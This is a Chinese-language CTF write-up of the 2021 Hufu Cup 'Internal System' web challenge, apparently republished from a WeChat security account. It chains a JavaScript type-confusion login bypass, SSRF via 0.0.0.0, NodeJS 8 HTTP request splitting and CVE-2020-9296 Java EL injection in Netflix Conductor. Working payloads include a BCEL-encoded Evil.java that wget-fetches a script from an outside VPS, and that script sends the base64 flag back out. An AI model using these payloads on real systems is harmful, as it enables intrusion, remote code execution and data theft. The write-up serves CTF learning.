-
前言
-
解题
-
JS 弱类型登录绕过
-
SSRF 拿到 Hint
-
NodeJS 8 HTTP 拆分实现的 SSRF 攻击
-
开始攻击
-
Ending......
前言
前段时间让炒币弄的没心思学习,现在全赔光了,终于可以安下心了好好学学习了……
今天复现了前段时间虎符杯中 "Internal System" 这道 Web 题,题目质量外瑞古德,做完之后神清气爽,所以在此一记!主要考了 NodeJS 中的两个知识点:
-
JS 弱类型登录绕过 -
NodeJS 8 HTTP 拆分实现的 SSRF 攻击
解题
进入题目,是一个很炫酷的登录页面:
访问 /source 路由得到源码:
const express = require('express')
const router = express.Router()
const axios = require('axios')
const isIp = require('is-ip')
const IP = require('ip')
const UrlParse = require('url-parse')
const {sha256, hint} = require('./utils')
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin')) // 计算 admin 的哈希
const port = process.env.PORT || 3000 // 这个 NodeJS 服务默认是开在 3000 端口
function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response) // 如果 response 不等于空, 则将其转换为 JSON 的格式并返回
} else {
return response
}
}
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/[|]/g, '') // 将 hostname 中的 [ ] 替换为空
return isIp(host) && IP.isPublic(host) // hostname必须是ip, 并且如果是公网IP则返回true, 防止 SSRF
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname // pathname 中不能有/flag
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) { // 如果没设置 session.admin 则返回登录页面
res.redirect('/login')
} else {
res.redirect('/index')
}
})
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login') // 主要判断是否输入,以及所输入的用户名和密码是否一致,以及用户名是否为 admin,如果是的话,直接拦截
} else { // 可以设 username=['admin']&password=admin 绕过
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash // session.admin 等于 "hash === adminHash" 的判断结果
res.redirect('/index') // 重定向到 /index 路由
}
})
router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())})
}
})
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) { // 必须用admin访问
return res.redirect('/index')
}
const url = decodeURI(req.query.url); // 进行一次 URL 解码
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) { // status 必须为 true
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) { // // 必须用admin访问
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
router.all('/search', async (req, res, next) => {
if(!/127.0.0.1/.test(req.ip)){ // 必须要匹配到 127.0.0.1, 即必须在本地访问 /search 这个路由
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase() // 请求方式
const url = decodeURI(req.query.url) // 再进行二次 URL 解码
const data = req.body
try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "index.js");
})
router.get('/flag', (req, res, next) => {
if(!/127.0.0.1/.test(req.ip)){ // 必须要匹配到 127.0.0.1, 即必须在本地访问 /flag 这个路由
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})
module.exports = router
代码逻辑比较简单,不做过多描述。
JS 弱类型登录绕过
首先我们要做的是登录,登录的处理逻辑:
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') { // 主要判断是否输入,以及所输入的用户名和密码是否一致,以及用户名是否为 admin,如果是的话,直接拦截
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password)) // 组合成 hash
req.session.admin = hash === adminHash // 与管理员 hash 比较,对上了就给 session 里这个东西赋值真
res.redirect('/index')
}
})
这里用到了 JavaScript 弱类型的特性。即 JavaScript 的数组在使用加号拼接的时候最终还是会得到一个字符串(string),于是不会影响 sha256 的处理:
看完之后你可能就明白了,我们如下构造 Payload 即可绕过:
/login?username[]=admin&password=admin
登录绕过后,就能成功以管理员身份进入,并来到以下页面:
这是一个代理器页面,通过这个页面我们可以直接访问到外网的页面:
接下来就是有趣的 SSRF 了……
SSRF 拿到 Hint
这里提交的 URL 会调用 GET /proxy
接口,再来看源码:
......
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/[|]/g, '') // 将 hostname 中的 [ ] 替换为空
return isIp(host) && IP.isPublic(host) // hostname必须是ip, 并且如果是公网IP则返回true, 防止 SSRF
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname // pathname 中不能有/flag
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
......
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) { // 必须用admin访问
return res.redirect('/index')
}
const url = decodeURI(req.query.url); // 进行一次 url 解码
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) { // status 必须为 true
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) { // // 必须用admin访问
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
这里前面几个 WAF 对 /proxy 路由做了限制,要求输入的 URL Host 为 IP 且为公网 IP,且目录不以 /flag
开头。那么就要想办法绕过一下,最简单的办法,就是尝试一下 0.0.0.0,请求时如果用这个地址,会默认访问到本机上。只要是本机监听的端口,都会被请求到。由于这个 NodeJS 服务默认是开在 3000 端口,所以我们输入 http://0.0.0.0:3000
,成功了:
那我们便可以成功进行 SSRF 了,像那些只限制本地访问的接口,比如 /search,就能访问了。并且,由于题目对 /search 路由做的限制仅限于从本地访问,那我们的思路便是通过 /proxy 代理路由去访问一些真从从本地访问的路由,比如 /search 路由,然后通过这个 /search 路由去进行 SSRF 去访问 /flag 路由:
/proxy?url=http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag
如上图所示,成功访问 /flag 路由,并得到了 Hint:
{"title":"Search Success","content":"{"hint":"someone else also deploy a netflix conductor server in Intranet?"}"}
提示我们在内网中有部署了一个 Netflix Conductor Server。Netflix Conductor 是 Netflix 开发的一款工作流编排的引擎,在 2.25.3 及以下版本中存在一个任意代码执行(CVE-2020-9296)。漏洞成因在于自定义约束冲突时的错误信息支持了 Java EL 表达式,而且这部分错误信息是攻击者可控的,所以攻击者可以通过注入 Java EL 表达式进行任意代码执行。
那么既然要利用该漏洞就要先在内网中找到这个 Netflix Conductor Server,网上找到它的默认端口为 8080,那么我们来探测一下内网,找一下哪台机器是那个服务器:
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.9:8080
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.10:8080
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.11:8080
......
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.41.14:8080
在测试到 10.0.41.14 的时候有了回应:
是个 Swagger UI,也就是 Netflix Conductor 的文档页,后面就是 Netflix Conductor Server 了。目标找到了,就是这个 10.0.41.14。下面我们就开始尝试利用 Netflix Conductor 的那个漏洞,具体的利用过程请看:https://xz.aliyun.com/t/7889#toc-2 。
Netflix Conductor 的这个漏洞出在 /api/metadata/taskdefs
上,需要 POST 一个 JSON 过去,里面含有恶意的 BCEL 编码,可以造成 RCE。
那我们首先得准备 BCEL 编码。我们先在本地创建一个恶意的 Evil.java:
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("wget http://47.101.57.72:2333/shell.txt -O /tmp/shell");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
这里为什么不反弹 Shell 呢?因为因为目标环境中没有Bash,也没有curl,所以我们的思路是让目标主机使用 wget 下载一个写入了 Shell 命令的文件 shell.txt,然后再次发送 Payload 让他执行这个 shell.txt 文件。
shell.txt 位于我们的 VPS 上,里面的内容为:
#!/bin/sh
wget http://47.101.57.72:2333/?a=`cat /flag|base64`
然后使用 javac
将 Evil.java 编译,然后再使用 BCELCodeman 这个工具将其转换为 BCEL 编码:
javac Evil.java // 编译Evil.java
java -jar BCELCodeman.jar e Evil.class // 转换为 BCEL 编码
得到如下 BCEL 编码:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A
然后把它给组合到攻击 Netflix Conductor 所使用的 Json 里:
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
最后是我们攻击 Netflix Conductor 所使用的 POST 请求:
POST /search?url=http://10.0.99.14:8080/api/metadata/taskdefs HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length:1535
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
加下来要考虑的就是如何将这个 POST 请求发送出去了。
NodeJS 8 HTTP 拆分实现的 SSRF 攻击
我们在源码的开头发现了提示:
提示我们当前为 NodeJS 8,而该版本的 NodeJS 正好可以通过损坏的 Unicode 编码实现 HTTP 拆分,从而进行 SSRF 攻击,详情请看:
-
https://xz.aliyun.com/t/2894 -
https://whoamianony.top/2021/04/20/Web安全/HTTP响应拆分攻击(CRLF Injection)/#NodeJS-中的-CRLF-Injection
编写如下脚本生成符合 NodeJS 8 HTTP 拆分攻击要求的 Payload:
payload = ''' HTTP/1.1
POST /search?url=http://10.0.99.14:8080/api/metadata/taskdefs HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length:1535
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
GET / HTTP/1.1
test:'''.replace("n","rn")
payload = payload.replace('rn', 'u010du010a')
.replace('+', 'u012b')
.replace(' ', 'u0120')
.replace('[', 'u015b')
.replace(']', 'u015d')
.replace('`', 'u0127')
.replace('"', 'u0122')
.replace("'", 'u0a27')
.replace('{', 'u017b')
.replace('}', 'u017d')
print(payload)
# 输出: ĠHTTP/1.1čĊčĊPOSTĠ/search?url=http://10.0.99.14:8080/api/metadata/taskdefsĠHTTP/1.1čĊHost:Ġ127.0.0.1:3000čĊContent-Type:Ġapplication/jsončĊContent-Length:1535čĊčĊśŻĢnameĢ:Ģ$Żਧ1ਧ.getClass().forName(ਧcom.sun.org.apache.bcel.internal.util.ClassLoaderਧ).newInstance().loadClass(ਧ$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$eb$o$a0$FE$ab$85$f6$a1K$9b$ee$W$d1$90$a8$f1$c5$d8$t$fc$88$98$f6$a1$_$5d$b6$T$Y$ba$y$9be$a0$fc$a3$3e$fbb$8d$P$fe$80$fe$a8$ea$9d$d5$88$89N2g$e6$9e$7b$e6$dc$3b3$ff$fe_$df$A$d8$c2$3b$Di$bc2PD$v$8de$b5$ae$e8$u$h$98$c3$aa$8e5$j$af$ZR$7b$o$Qr$9f$na$d5$be2$q$P$86$3f9C$ae$r$C$7e$3c$ktxt$eev$7cb$b2m$e9z$bf$8e$dc0$8e$e3$d3e$92$P$5c$R0$94$ac$ef$ad$be$3bq$j$df$N$baN$5bF$o$e8$ee$w$3b$a3$3d$iG$k$ff$o$94E$e6p$o$7c$5b$e9Ld$60$e8X7$b1$817$M$db$bf$bb$5cVzR$86$3b$8e$b3$d5$b4$eb$9f$eb$f6v$d3nn$eel6$g$Ng$d4$e3$beo$cb$a9$ac$7c$3a$a98r$Q$de3$s$w$a82$y$cd$K$lN$3d$kJ1$ML$bc$85A$dd$a9$82$M$f9$99$e2$a4$d3$e7$9ed$u$cc$a8$b3q$m$c5$80$da3$a8$89$c7$a0h$d5Z$cf4$bbd$c9$a7$dccxo$bdp$df$t$d4i4$f4$f8hD$Hr$n$re$fcx$e7$91$ebqT$a1$d3$a7$a8$a1$81$a9w$m$9c$a7$e8$H$c5$g$ad$a5$P$7f$c1$ae$a0$z$s$$$91$fc$f6$H$e9$d6$c7K$a4$$H$95D$Wy$fa$3b$N$s$e9V$91$oL$Q$3bG$7c$862$3a$K$e4$5c$q$c7$ye$f2$d0n$J$98$8e$F$F$b9d$ac$v$3cT$x$d3dj$5e$c4$he$98$8a$89$y$e1b$dc$dc$d2$j$b6$ba$u$fcG$C$A$Aਧ).newInstance().classŽĢ,ĢownerEmailĢ:Ģ[email protected]Ģ,ĢretryCountĢ:Ģ3Ģ,ĢtimeoutSecondsĢ:Ģ1200Ģ,ĢinputKeysĢ:śĢsourceRequestIdĢ,ĢqcElementTypeĢŝ,ĢoutputKeysĢ:śĢstateĢ,ĢskippedĢ,ĢresultĢŝ,ĢtimeoutPolicyĢ:ĢTIME_OUT_WFĢ,ĢretryLogicĢ:ĢFIXEDĢ,ĢretryDelaySecondsĢ:Ģ600Ģ,ĢresponseTimeoutSecondsĢ:Ģ3600Ģ,ĢconcurrentExecLimitĢ:Ģ100Ģ,ĢrateLimitFrequencyInSecondsĢ:Ģ60Ģ,ĢrateLimitPerFrequencyĢ:Ģ50Ģ,ĢisolationgroupIdĢ:ĢmyIsolationGroupIdĢŽŝčĊčĊGETĠ/ĠHTTP/1.1čĊtest:
然后需要将上面生成的 Payload 进行三次 URL 编码,因为我们的 GET 请求会解码一次,进入 /proxy 路由又会解码一次,最后进行 /search 路由进行攻击又会解码一次。
先来测试一下,在自己 VPS 上开个监听 3000 端口,然后执行:
/proxy?url=http://47.101.57.72:3000/%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0%25252Fsearch%25253Furl%25253Dhttp%25253A%25252F%25252F10.0.99.14%25253A8080%25252Fapi%25252Fmetadata%25252Ftaskdefs%......T%2525C4%2525A0%25252F%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258Atest%25253A
如上图所示,成功发送了一个POST请求,也就是我们的攻击请求。
开始攻击
首先在自己的 VPS 上存在 shell.txt 的目录中用 Python 开启一个 HTTP 服务:
然后执行 Payload:
/proxy?url=http://0.0.0.0:3000/%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0%25252Fsearch%25253Furl%25253Dhttp%25253A%25252F%25252F10.0.99.14%25253A8080%25252Fapi%25252Fmetadata%25252Ftaskdefs%......T%2525C4%2525A0%25252F%2525C4%2525A0HTTP%25252F1.1%2525C4%25258D%2525C4%25258Atest%25253A
如上图所示,成功控制目标主机下载了我们的 shell.txt 文件,然后再次编写一个 Evil.java 用于执行刚才下载下来的 shell.txt 文件:
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("sh /tmp/shell");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
重新编译,重新编码,重新构造并发送 Payload:
如上图所示,成功执行了 /tmp/shell 并带出了经过 base64 编码后的 flag:
Ending......
本文始发于微信公众号(山警网络空间安全与电子数据取证):重温 2021 虎符杯 CTF Internal System
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论